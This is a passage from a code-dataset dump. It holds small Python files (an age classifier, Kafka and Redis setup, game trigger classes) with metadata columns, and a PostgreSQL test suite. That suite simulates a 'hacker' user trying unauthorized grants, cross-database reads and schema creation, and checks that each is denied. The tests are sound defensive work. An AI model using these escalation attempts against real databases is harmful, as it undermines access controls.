"Calexico", "Bullhead City", "Germantown", "La Quinta", "Lancaster", "Wausau", "Sherman", "Ocoee", "Shakopee", "Woburn", "Bremerton", "Rock Island", "Muskogee", "Cape Girardeau", "Annapolis", "Greenacres", "Ormond Beach", "Hallandale Beach", "Stanton", "Puyallup", "Pacifica", "Hanover Park", "Hurst", "Lima", "Marana", "Carpentersville", "Oakley", "Huber Heights", "Lancaster", "Montclair", "Wheeling", "Brookfield", "Park Ridge", "Florence", "Roy", "Winter Garden", "Chelsea", "Valley Stream", "Spartanburg", "Lake Oswego", "Friendswood", "Westerville", "Northglenn", "Phenix City", "Grove City", "Texarkana", "Addison", "Dover", "Lincoln Park", "Calumet City", "Muskegon", "Aventura", "Martinez", "Greenfield", "Apache Junction", "Monrovia", "Weslaco", "Keizer", "Spanish Fork", "Beloit", "Panama City",
],
}
| 1,716.909091
| 13,056
| 0.666737
| 1,902
| 18,886
| 6.619874
| 0.73449
| 0.001271
| 0.003336
| 0.004289
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.001592
| 0.102139
| 18,886
| 11
| 13,057
| 1,716.909091
| 0.740933
| 0
| 0
| 0.272727
| 0
| 0
| 0.692063
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.090909
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
b6e0f22ecb67d5a83b4cb37d98cb61942b6d64d3
| 130
|
py
|
Python
|
Beginner/age123.py
|
man21/IOSD-UIETKUK-HacktoberFest-Meetup-2019
|
8ca1a8bf95ee98d303d3a909c448288fa5992210
|
[
"Apache-2.0"
] | 22
|
2019-10-02T16:48:10.000Z
|
2020-11-14T23:28:41.000Z
|
Beginner/age123.py
|
man21/IOSD-UIETKUK-HacktoberFest-Meetup-2019
|
8ca1a8bf95ee98d303d3a909c448288fa5992210
|
[
"Apache-2.0"
] | 46
|
2019-10-01T03:53:30.000Z
|
2020-10-20T16:34:37.000Z
|
Beginner/age123.py
|
man21/IOSD-UIETKUK-HacktoberFest-Meetup-2019
|
8ca1a8bf95ee98d303d3a909c448288fa5992210
|
[
"Apache-2.0"
] | 415
|
2019-10-01T03:48:22.000Z
|
2021-02-27T04:57:28.000Z
|
a=int(input("Enter your age:"))
if (a>=18):
print("Adult")
elif (10<a<=18):
print("Teen")
elif(a<=10):
print("Child")
| 16.25
| 31
| 0.546154
| 22
| 130
| 3.227273
| 0.636364
| 0.084507
| 0.225352
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.074766
| 0.176923
| 130
| 7
| 32
| 18.571429
| 0.588785
| 0
| 0
| 0
| 0
| 0
| 0.223077
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.428571
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
8e03a674bdd9fba48058fb887a87276d65f4d044
| 215
|
py
|
Python
|
app/utils/kafka.py
|
junpengxu/MyFlask
|
14457b5c44e9a2a881cf2b5c1ed9ba7bf783b31a
|
[
"MIT"
] | null | null | null |
app/utils/kafka.py
|
junpengxu/MyFlask
|
14457b5c44e9a2a881cf2b5c1ed9ba7bf783b31a
|
[
"MIT"
] | null | null | null |
app/utils/kafka.py
|
junpengxu/MyFlask
|
14457b5c44e9a2a881cf2b5c1ed9ba7bf783b31a
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
# @Time : 2021/11/13 1:47 下午
# @Author : xujunpeng
from app import app
from confluent_kafka import Producer
KafkaProducer = Producer({'bootstrap.servers': app.config["KAFKA_SERVERS"]})
| 26.875
| 76
| 0.697674
| 29
| 215
| 5.103448
| 0.758621
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.065934
| 0.153488
| 215
| 7
| 77
| 30.714286
| 0.747253
| 0.339535
| 0
| 0
| 0
| 0
| 0.217391
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
8e36911e0b9ca032416022efd5054c46dd064980
| 143
|
py
|
Python
|
app/settings/arq.py
|
leosussan/fastapi-gino-arq-postgres
|
dd4213f4113825ddce3d3a6a39e54ef77df6014f
|
[
"MIT"
] | 289
|
2019-11-04T12:57:13.000Z
|
2022-03-28T09:36:33.000Z
|
app/settings/arq.py
|
leosussan/fastapi-gino-arq-postgres
|
dd4213f4113825ddce3d3a6a39e54ef77df6014f
|
[
"MIT"
] | 6
|
2020-02-29T08:25:26.000Z
|
2022-03-15T12:11:56.000Z
|
app/settings/arq.py
|
leosussan/fastapi-gino-arq-postgres
|
dd4213f4113825ddce3d3a6a39e54ef77df6014f
|
[
"MIT"
] | 31
|
2020-01-19T15:22:40.000Z
|
2022-01-12T07:28:27.000Z
|
from arq.connections import RedisSettings
from .globals import REDIS_IP, REDIS_PORT
settings = RedisSettings(host=REDIS_IP, port=REDIS_PORT)
| 23.833333
| 56
| 0.832168
| 20
| 143
| 5.75
| 0.55
| 0.121739
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.104895
| 143
| 5
| 57
| 28.6
| 0.898438
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
8e381e2a2b218c5e89332d56aca7486173ae53fd
| 779
|
py
|
Python
|
server/manager/dataManager.py
|
pengzhuo/gameServer
|
b79da0cb72e3e64308b15240b87fc7816fbb7b4f
|
[
"MIT"
] | null | null | null |
server/manager/dataManager.py
|
pengzhuo/gameServer
|
b79da0cb72e3e64308b15240b87fc7816fbb7b4f
|
[
"MIT"
] | null | null | null |
server/manager/dataManager.py
|
pengzhuo/gameServer
|
b79da0cb72e3e64308b15240b87fc7816fbb7b4f
|
[
"MIT"
] | null | null | null |
# coding: utf-8
import redis
from models.singleton import Singleton
from common.config import *
class DataManager:
__metaclass__ = Singleton
redis_instance = None # redis实例
def __init__(self):
self.redis_instance = redis.StrictRedis(REDIS_HOST, REDIS_PORT, REDIS_DB, REDIS_PASSWORD)
def save_room_info(self, room):
self.redis_instance.set("room:{0}".format(room.room_id), room.toJson())
def get_room_info(self, room_id):
return self.redis_instance.get("room:{0}".format(room_id))
def save_user_info(self, user):
self.redis_instance.set("user:{0}".format(user.userId), user.toJson())
def get_user_info(self, uuid):
return self.redis_instance.get("user:{0}".format(uuid))
data_manager = DataManager()
| 25.966667
| 97
| 0.702182
| 108
| 779
| 4.787037
| 0.361111
| 0.15087
| 0.16441
| 0.061896
| 0.10058
| 0
| 0
| 0
| 0
| 0
| 0
| 0.007752
| 0.172015
| 779
| 29
| 98
| 26.862069
| 0.793798
| 0.026958
| 0
| 0
| 0
| 0
| 0.042384
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.294118
| false
| 0.058824
| 0.176471
| 0.117647
| 0.764706
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 4
|
8e429de3cec233883bebaf7d3c82fb474fe3eae3
| 412
|
py
|
Python
|
aot/meta_triggers/metatrigger.py
|
jaycheungchunman/age-of-triggers
|
f2a75685a0b0cc9e26132d4f52b6ed2c4798f6b4
|
[
"MIT"
] | 8
|
2019-11-19T07:13:14.000Z
|
2020-05-30T05:19:11.000Z
|
aot/meta_triggers/metatrigger.py
|
jaycheungchunman/age-of-triggers
|
f2a75685a0b0cc9e26132d4f52b6ed2c4798f6b4
|
[
"MIT"
] | null | null | null |
aot/meta_triggers/metatrigger.py
|
jaycheungchunman/age-of-triggers
|
f2a75685a0b0cc9e26132d4f52b6ed2c4798f6b4
|
[
"MIT"
] | 1
|
2020-07-28T10:24:11.000Z
|
2020-07-28T10:24:11.000Z
|
from abc import ABC, abstractmethod
class MetaTrigger(ABC):
pass
@abstractmethod
def setup(self, scenario):
pass
def triggers_to_activate(self):
return []
class EffectGenerator(ABC):
@abstractmethod
def generate(self, player_id, info={}):
pass
class ConditionGenerator(ABC):
@abstractmethod
def generate(self, player_id, info={}):
pass
| 14.206897
| 43
| 0.643204
| 43
| 412
| 6.069767
| 0.488372
| 0.195402
| 0.153257
| 0.214559
| 0.367816
| 0.367816
| 0.367816
| 0.367816
| 0.367816
| 0
| 0
| 0
| 0.264563
| 412
| 28
| 44
| 14.714286
| 0.861386
| 0
| 0
| 0.5625
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0.25
| 0.0625
| 0.0625
| 0.5625
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
f3cef00b193a306ab1155b96a6f5196ab933046e
| 28
|
py
|
Python
|
zinnia/migrations/__init__.py
|
Boondockers-Welcome/django-blog-zinnia
|
34aa1e7304f6686c61da81fbd93d082e5cd3144b
|
[
"BSD-3-Clause"
] | 1,522
|
2015-01-02T05:54:02.000Z
|
2022-03-31T04:13:14.000Z
|
zinnia/migrations/__init__.py
|
Boondockers-Welcome/django-blog-zinnia
|
34aa1e7304f6686c61da81fbd93d082e5cd3144b
|
[
"BSD-3-Clause"
] | 205
|
2015-01-02T19:29:37.000Z
|
2022-03-11T23:19:49.000Z
|
zinnia/migrations/__init__.py
|
Boondockers-Welcome/django-blog-zinnia
|
34aa1e7304f6686c61da81fbd93d082e5cd3144b
|
[
"BSD-3-Clause"
] | 632
|
2015-01-02T05:54:02.000Z
|
2022-03-25T17:07:32.000Z
|
"""Migrations for Zinnia"""
| 14
| 27
| 0.678571
| 3
| 28
| 6.333333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.107143
| 28
| 1
| 28
| 28
| 0.76
| 0.75
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
f3d12dac700e6f2db9216c1feb35659074346e84
| 20,650
|
py
|
Python
|
tests/test_suite.py
|
ikethecoder/sae-postgres
|
8b84fbce45ff1caf7b70a96b4a87857b54fc2e32
|
[
"Apache-2.0"
] | 1
|
2019-09-18T20:04:20.000Z
|
2019-09-18T20:04:20.000Z
|
tests/test_suite.py
|
ikethecoder/sae-postgres
|
8b84fbce45ff1caf7b70a96b4a87857b54fc2e32
|
[
"Apache-2.0"
] | 7
|
2020-04-16T23:35:59.000Z
|
2022-01-10T21:51:24.000Z
|
tests/test_suite.py
|
ikethecoder/sae-postgres
|
8b84fbce45ff1caf7b70a96b4a87857b54fc2e32
|
[
"Apache-2.0"
] | null | null | null |
import sys, os
import logging
from unittest import TestCase
from client.cli import CLI
from tests.expect import Expect
log = logging.getLogger(__name__)
logging.basicConfig(level=os.environ['LOG_LEVEL'],
format='%(asctime)s - %(levelname)s - %(message)s')
creds = {
"PGHOST" : os.environ['PGHOST'],
"PGPORT" : os.environ['PGPORT'],
"PGUSER" : os.environ['PGUSER'],
"PGPASSWORD" : os.environ['PGPASSWORD'],
"PGDATABASE" : os.environ['PGDATABASE']
}
class TestSuite(TestCase):
# def tearDown(self):
def setUp(self):
self.clean()
self.prepare_test_db()
self.prepare()
def clean(self):
admin = CLI(creds, True)
db = "test_db"
admin.execute("DROP DATABASE IF EXISTS %s;" % db, False)
databases = ["orig_db", "orig_db_2"]
for rdb in databases:
admin.execute("DROP DATABASE %s;" % rdb, False)
admin.execute("DROP ROLE %s_admin;" % rdb, False)
admin.execute("DROP ROLE %s_user;" % rdb, False)
admin.execute("DROP ROLE %s_enduser;" % rdb, False)
admin.execute("DROP ROLE %s_contribute;" % rdb, False)
admin.execute("DROP ROLE %s_readonly;" % rdb, False)
for n in range(1):
rdb = "project_%s" % (n + 1)
admin.execute("DROP DATABASE %s;" % rdb, False)
admin.execute("DROP ROLE %s_contribute;" % rdb, False)
admin.execute("DROP ROLE %s_readonly;" % rdb, False)
admin.execute("DROP ROLE %s_min_public;" % rdb, False)
for u in range(1):
user = "%s_user_%s" % (rdb, (u + 1))
admin.execute("DROP ROLE %s;" % user, False)
admin.execute("DROP ROLE %s;" % 'user_x', False)
admin.execute("DROP ROLE %s;" % 'tmp_user', False)
admin.execute("DROP ROLE %s;" % 'tmp_user_incremental', False)
admin.execute("DROP DATABASE temp_db;", False)
admin.execute("DROP ROLE %s;" % 'i_test_user', False)
for n in range(10):
admin.execute("DROP ROLE user_%s;" % n, False)
admin.execute("DROP OWNED BY %s_contribute;" % db, False)
admin.execute("DROP ROLE %s_contribute;" % db, False)
admin.execute("DROP OWNED BY %s_readonly;" % db, False)
admin.execute("DROP ROLE %s_readonly;" % db, False)
admin.execute("DROP OWNED BY %s_min_public;" % db, False)
admin.execute("DROP ROLE %s_min_public;" % db, False)
admin.close()
return self
def prepare_test_db(self):
admin = CLI(creds, True)
db = "test_db"
try:
admin.execute("CREATE DATABASE %s;" % db, True)
admin.execute_template("sql/new_database.sql.tpl", APP_DATABASE=db)
user = "user_x"
admin_on_db = CLI({**creds, **{"PGDATABASE":db}}, True)
admin_on_db.execute_template("sql/setup_new_database.sql.tpl")
admin_on_db.execute_template("sql/setup_roles.sql.tpl", WORKSPACE=db)
admin_on_db.execute_template("sql/user.sql.tpl", USER=user, PASSWORD=Expect.TMP_PASSWORD)
admin_on_db.execute_template("sql/user_connect.sql.tpl", APP_DATABASE=db, USER=user)
admin_on_db.execute_template("sql/setup_user.sql.tpl", WORKSPACE=db, USER=user)
admin_on_db.execute_template("sql/setup_user_2.sql.tpl", WORKSPACE=db, USER=user)
for n in range(10):
admin_on_db.execute_template("sql/user.sql.tpl", USER="user_%s" % n, PASSWORD=Expect.TMP_PASSWORD)
admin_on_db.execute_template("sql/user_connect.sql.tpl", APP_DATABASE=db, USER="user_%s" % n)
finally:
admin.close()
def prepare(self):
admin = CLI(creds, True)
try:
for n in range(1):
rdb = "project_%s" % (n + 1)
admin.execute("CREATE DATABASE %s;" % rdb, True)
admin.execute_template("sql/new_database.sql.tpl", APP_DATABASE=rdb)
admin_on_db = CLI({**creds, **{"PGDATABASE":rdb}}, True)
admin_on_db.execute_template("sql/setup_new_database.sql.tpl")
admin_on_db.execute_template("sql/setup_roles.sql.tpl", WORKSPACE=rdb)
for u in range(1):
user = "%s_user_%s" % (rdb, (u + 1))
admin_on_db.execute_template("sql/user.sql.tpl", USER=user, PASSWORD=Expect.TMP_PASSWORD)
admin_on_db.execute_template("sql/user_connect.sql.tpl", APP_DATABASE=rdb, USER=user)
admin_on_db.execute_template("sql/setup_user.sql.tpl", WORKSPACE=rdb, USER=user)
admin_on_db.execute_template("sql/setup_user_2.sql.tpl", WORKSPACE=rdb, USER=user)
admin_on_db.close()
finally:
admin.close()
return self
def test_simple_user_creating_database(self):
admin = Expect(creds)
try:
user = 'i_test_user'
admin.execute('show search_path')
admin.execute_template("sql/original_db_prep.sql", POSTGRES_APP_USERNAME=user, POSTGRES_APP_PASSWORD=Expect.TMP_PASSWORD)
admin.execute("ALTER USER %s CREATEDB" % user, True)
enduser_on_db = Expect({**creds, **{"PGUSER": user, "PGPASSWORD": Expect.TMP_PASSWORD}})
db = "temp_db"
try:
enduser_on_db.execute("CREATE DATABASE %s" % db, True)
finally:
enduser_on_db.execute("DROP ROLE %s_contribute" % db, False)
enduser_on_db.execute("DROP ROLE %s_readonly" % db, False)
enduser_on_db.execute("DROP DATABASE %s" % db, False)
enduser_on_db.close()
finally:
admin.close()
def test_set_search_path(self):
admin = Expect(creds)
try:
databases = ['orig_db']
for db in databases:
admin.execute("CREATE DATABASE %s;" % db, True)
admin.execute_template("sql/original_db_prep.sql", APP_DATABASE=db, POSTGRES_APP_USERNAME='%s_admin' % db, POSTGRES_APP_PASSWORD=Expect.TMP_PASSWORD)
admin_on_db = Expect({**creds, **{"PGDATABASE":db}})
admin_on_db.execute_template("sql/original_db_setup.sql", APP_DATABASE=db, WORKSPACE=db, POSTGRES_APP_PASSWORD=Expect.TMP_PASSWORD)
admin_on_db.execute_template("sql/original_db_user_setup.sql", WORKSPACE=db, USER='%s_enduser' % db, PASSWORD=Expect.TMP_PASSWORD)
admin_on_db.close()
admin.execute("ALTER DATABASE %s SET search_path = working_data" % db, True)
enduser_on_db = Expect({**creds, **{"PGDATABASE":db, "PGUSER": "%s_enduser" % db, "PGPASSWORD": Expect.TMP_PASSWORD}})
enduser_on_db.match_results('sql/query_search_path.sql', 'results/test_set_search_path/results.txt')
enduser_on_db.close()
finally:
admin.close()
# def test_original_verify_permissions(self):
# admin = Expect(creds)
# admin.execute('grant all on database template1 to public', True)
# try:
# databases = ['orig_db', 'orig_db_2']
# for db in databases:
# admin.execute("CREATE DATABASE %s;" % db, True)
# admin.execute_template("sql/original_db_prep.sql", APP_DATABASE=db, POSTGRES_APP_USERNAME='%s_admin' % db, POSTGRES_APP_PASSWORD=Expect.TMP_PASSWORD)
# admin_on_db = Expect({**creds, **{"PGDATABASE":db}})
# admin_on_db.execute("REVOKE ALL ON SCHEMA public FROM public", True)
# #admin_on_db.execute('GRANT ALL ON SCHEMA public to public', True)
# admin_on_db.execute_template("sql/original_db_setup.sql", APP_DATABASE=db, WORKSPACE=db, POSTGRES_APP_PASSWORD=Expect.TMP_PASSWORD)
# admin_on_db.execute("ALTER ROLE %s_contribute SET search_path = working_data" % db, True)
# admin_on_db.execute_template("sql/original_db_user_setup.sql", WORKSPACE=db, USER='%s_enduser' % db, PASSWORD=Expect.TMP_PASSWORD)
# #admin_on_db.execute("CREATE USER %s WITH ENCRYPTED PASSWORD '%s'" % ("%s_enduser" % db, Expect.TMP_PASSWORD))
# admin_on_db.close()
# #admin.execute("ALTER DATABASE %s SET search_path = working_data" % db, True)
# enduser_on_db = Expect({**creds, **{"PGDATABASE":db, "PGUSER": "%s_enduser" % db, "PGPASSWORD": Expect.TMP_PASSWORD}})
# enduser_on_db.execute('show search_path')
# enduser_on_db.execute_template("sql/original_db_tables.sql", TABLE='test_table_1')
# enduser_on_db.execute_template("sql/original_db_tables.sql", TABLE='test_table_2')
# enduser_on_db.close()
# for db in databases:
# admin_db = Expect({**creds, **{"PGDATABASE":db}})
# for user in databases:
# admin_db.match_results("sql/query_permissions.sql.tpl", "results/test_original_verify_permissions/perms_%s_enduser_in_%s.txt" % (user,db), USER='%s_enduser' % user)
# #admin_db.match_results("sql/query_grants.sql", "results/test_original_verify_permissions/grants_%s.txt" % (db))
# #admin_db.match_results("sql/query_database.sql", "results/test_original_verify_permissions/access_%s.txt" % (db))
# admin_db.close()
# db = 'orig_db'
# enduser_on_db = Expect({**creds, **{"PGDATABASE":db, "PGUSER": "%s_enduser" % 'orig_db_2', "PGPASSWORD": Expect.TMP_PASSWORD}})
# enduser_on_db.expect_execute("select * from test_table_1", 'permission denied for relation test_table_1')
# enduser_on_db.close()
# enduser_on_db = Expect({**creds, **{"PGDATABASE":db, "PGUSER": "%s_user" % 'orig_db_2', "PGPASSWORD": Expect.TMP_PASSWORD}})
# enduser_on_db.expect_execute("select * from test_table_1", 'permission denied for relation test_table_1')
# enduser_on_db.close()
# # REVOKE ALL ON DATABASE template1 FROM public;
# # REVOKE ALL ON DATABASE hostdb FROM public;
# admin_db = CLI({**creds, **{"PGDATABASE":db}})
# df = admin_db.execute('SELECT datname FROM pg_database WHERE datistemplate = false')
# admin_db.close()
# admin_on_db = Expect({**creds, **{"PGDATABASE":db}})
# admin_on_db.execute_template('sql/query_defaults.sql')
# admin_on_db.execute_template('sql/query_roles.sql')
# admin_on_db.close()
# finally:
# admin.close()
def test_simple(self):
admin = CLI(creds)
db = "test_db"
admin.execute("SELECT current_user", True)
def test_user_connect_access(self):
admin = CLI(creds)
try:
user = "tmp_user"
db = "test_db"
userdb = Expect(creds)
admin.execute_template("sql/user.sql.tpl", USER=user, PASSWORD=Expect.TMP_PASSWORD)
userdb.expect_connect(db, user, 'FATAL: permission denied for database')
admin.execute_template("sql/user_connect.sql.tpl", APP_DATABASE=db, USER=user)
userdb.expect_connect(db, user)
admin_on_test_db = Expect({**creds, **{"PGDATABASE":db}})
admin_on_test_db.match_results("sql/query_permissions.sql.tpl", "results/test_user_connect_access/perms.txt", USER='user_x')
admin_on_test_db.close()
userdb.close()
finally:
admin.close()
def test_single_project(self):
admin = CLI(creds)
try:
db = "test_db"
prep_db = Expect({**creds, **{"PGDATABASE":db}})
prep_db.execute_template("sql/test_data_project.sql.tpl")
prep_db.close()
user = Expect({**creds, **{"PGUSER":'user_x', "PGDATABASE":db, "PGPASSWORD":Expect.TMP_PASSWORD}})
user.expect_execute("SELECT * from pg_settings", 'permission denied for relation pg_settings')
user.expect_success("SELECT * from protected_data.table_1")
user.expect_execute("CREATE TABLE protected_data.table_2 (name varchar(20));", 'permission denied for schema protected_data')
user.expect_success("CREATE TABLE working_data.table_2 (name varchar(20));")
admin_on_test_db = Expect({**creds, **{"PGDATABASE":db}})
admin_on_test_db.match_results("sql/query_permissions.sql.tpl", 'results/test_single_project/perms.txt', USER='user_x')
admin_on_test_db.close()
user.close()
finally:
admin.close()
def test_cross_project_connect_to_database(self):
admin = Expect(creds)
try:
admin.expect_connect('test_db', 'project_1_user_1', 'User does not have CONNECT privilege.')
admin.expect_connect('project_1', 'project_1_user_1')
finally:
admin.close()
return self
def test_no_existing_table(self):
con = Expect({**creds, **{"PGUSER":'project_1_user_1', "PGDATABASE":'project_1', "PGPASSWORD":Expect.TMP_PASSWORD}})
try:
con.expect_execute("SELECT * from protected_data.table_1", 'relation "protected_data.table_1" does not exist')
finally:
con.close()
return self
def test_cross_project_attempt_to_grant_usage(self):
admin = CLI(creds)
db = "test_db"
try:
hacker_user = Expect({**creds, **{"PGUSER":'user_x', "PGDATABASE":db, "PGPASSWORD":Expect.TMP_PASSWORD}})
hacker_user.execute_template("sql/test_data_force_grant_1.sql.tpl", WORKSPACE=db, USER='project_1_user_1')
con = Expect({**creds, **{"PGUSER":'project_1_user_1', "PGDATABASE":'project_1', "PGPASSWORD":Expect.TMP_PASSWORD}})
con.expect_execute("SELECT * from test_db.protected_data.table_1", 'cross-database references are not implemented')
con.close()
hacker_user.close()
finally:
admin.close()
return self
def test_cross_project_granting_access_without_connect(self):
con = Expect(creds)
try:
con.expect_connect('test_db', 'project_1_user_1', 'User does not have CONNECT privilege')
finally:
con.close()
return self
def test_hacker_granting_access_with_connect(self):
db = "test_db"
admin_on_test_db = CLI({**creds, **{"PGDATABASE":db}})
try:
hacker_user = Expect({**creds, **{"PGUSER":'user_x', "PGDATABASE":db, "PGPASSWORD":Expect.TMP_PASSWORD}})
hacker_user.execute_template("sql/test_data_force_grant_1.sql.tpl", WORKSPACE=db, USER='project_1_user_1')
# grant user connect
admin_on_test_db.execute_template("sql/user_connect.sql.tpl", APP_DATABASE=db, USER='project_1_user_1')
con = Expect({**creds, **{"PGUSER":'project_1_user_1', "PGDATABASE":db, "PGPASSWORD":Expect.TMP_PASSWORD}})
con.expect_execute("SELECT * from protected_data.table_1", 'permission denied for schema protected_data')
admin_on_test_db.execute_template("sql/query_permissions.sql.tpl", USER='project_1_user_1')
con.close()
admin_on_test_db.close()
finally:
admin_on_test_db.close()
return self
def test_hacker_trying_to_grant_role_to_another_user(self):
db = "test_db"
hacker_user = Expect({**creds, **{"PGUSER":'user_x', "PGDATABASE":db, "PGPASSWORD":Expect.TMP_PASSWORD}})
try:
hacker_user.expect_execute("GRANT %s_contribute TO %s;" % (db,'project_1_user_1'), 'must have admin option on role "test_db_contribute"')
finally:
hacker_user.close()
return self
def test_hacker_trying_to_create_schema(self):
db = "test_db"
admin_on_test_db = CLI({**creds, **{"PGDATABASE":db}})
try:
# Create tables
admin_on_test_db.execute("GRANT EXECUTE ON ALL FUNCTIONS IN SCHEMA pg_catalog TO " + "user_x")
hacker_user = Expect({**creds, **{"PGUSER":'user_x', "PGDATABASE":db, "PGPASSWORD":Expect.TMP_PASSWORD}})
hacker_user.execute_template("sql/test_table.sql.tpl", TABLE='user_x_table')
admin_on_test_db.execute_template("sql/query_permissions.sql.tpl", USER='user_x')
hacker_user.expect_execute("CREATE SCHEMA %s;" % 'new_schema', 'permission denied for database test_db')
hacker_user.close()
finally:
admin_on_test_db.close()
return self
def test_incremental_user_access(self):
db = "test_db"
admin_on_test_db = CLI({**creds, **{"PGDATABASE":db}})
try:
prep_db = Expect({**creds, **{"PGDATABASE":db}})
prep_db.execute_template("sql/test_data_project.sql.tpl")
user = "tmp_user_incremental"
admin_on_test_db.execute_template("sql/user.sql.tpl", USER=user, PASSWORD=Expect.TMP_PASSWORD)
prep_db.expect_connect(db, user, 'User does not have CONNECT privilege.')
admin_on_test_db.execute_template("sql/user_connect.sql.tpl", APP_DATABASE=db, USER=user)
user_db = Expect({**creds, **{"PGUSER":user, "PGDATABASE":db, "PGPASSWORD":Expect.TMP_PASSWORD}})
user_db.expect_execute("SELECT * from pg_settings", 'permission denied for relation pg_settings')
user_db.expect_execute("SELECT * from protected_data.table_1", 'permission denied for schema protected_data')
admin_on_test_db.execute_template("sql/setup_user.sql.tpl", WORKSPACE=db, USER=user)
user_db.expect_success("SELECT * from protected_data.table_1")
user_db.expect_execute("CREATE TABLE protected_data.table_2 (name varchar(20));", 'permission denied for schema protected_data')
user_db.expect_execute("CREATE TABLE working_data.table_2 (name varchar(20));", 'permission denied for schema pg_catalog')
admin_on_test_db.execute_template("sql/setup_user_2.sql.tpl", WORKSPACE=db, USER=user)
user_db.expect_success("CREATE TABLE working_data.table_2 (name varchar(20));")
prep_db.match_results("sql/query_permissions.sql.tpl", 'results/test_incremental_user_access/perms.txt', USER=user)
user_db.close()
prep_db.close()
finally:
admin_on_test_db.close()
# def test_single_project(self):
# admin = CLI(creds)
# try:
# db = "test_db"
# prep_db = Expect({**creds, **{"PGDATABASE":db}})
# user = Expect({**creds, **{"PGUSER":'user_x', "PGDATABASE":db, "PGPASSWORD":Expect.TMP_PASSWORD}})
# user.expect_success("SELECT * from pg_settings")
# admin_on_test_db = CLI({**creds, **{"PGDATABASE":db}})
# admin_on_test_db.execute_template("sql/query_permissions.sql.tpl", USER='user_x')
# admin_on_test_db.execute_template("sql/setup_new_database.sql.tpl")
# user.expect_execute("SELECT * from pg_settings", 'permission denied for relation pg_settings')
# admin_on_test_db.execute_template("sql/query_permissions.sql.tpl", USER='user_x')
# admin_on_test_db.execute_template("sql/setup_schemas.sql.tpl", WORKSPACE=db)
# prep_db.execute_template("sql/test_data_project.sql.tpl")
# admin_on_test_db.execute_template("sql/query_permissions.sql.tpl", USER='user_x')
# user.expect_execute("SELECT * from protected_data.table_1", 'permission denied for schema protected_data')
# admin_on_test_db.execute_template("sql/setup_user.sql.tpl", WORKSPACE=db, USER='user_x')
# user.expect_execute("SELECT * from protected_data.table_1")
# user.expect_execute("CREATE TABLE protected_data.table_2 (name varchar(20));", 'permission denied for schema protected_data')
# user.expect_execute("CREATE TABLE working_data.table_2 (name varchar(20));", 'permission denied for schema pg_catalog')
# admin_on_test_db.execute_template("sql/setup_user_2.sql.tpl", WORKSPACE=db, USER='user_x')
# user.expect_execute("CREATE TABLE working_data.table_2 (name varchar(20));")
# admin_on_test_db.execute_template("sql/query_permissions.sql.tpl", USER='user_x')
# user.close()
# admin_on_test_db.close()
# finally:
# admin.close()
| 41.633065
| 186
| 0.62247
| 2,614
| 20,650
| 4.625096
| 0.063122
| 0.037055
| 0.074442
| 0.06617
| 0.812986
| 0.772126
| 0.730108
| 0.666419
| 0.617866
| 0.591977
| 0
| 0.005676
| 0.249153
| 20,650
| 495
| 187
| 41.717172
| 0.774073
| 0.263245
| 0
| 0.479087
| 0
| 0
| 0.275563
| 0.081433
| 0
| 0
| 0
| 0
| 0
| 1
| 0.064639
| false
| 0.079848
| 0.019011
| 0
| 0.121673
| 0
| 0
| 0
| 0
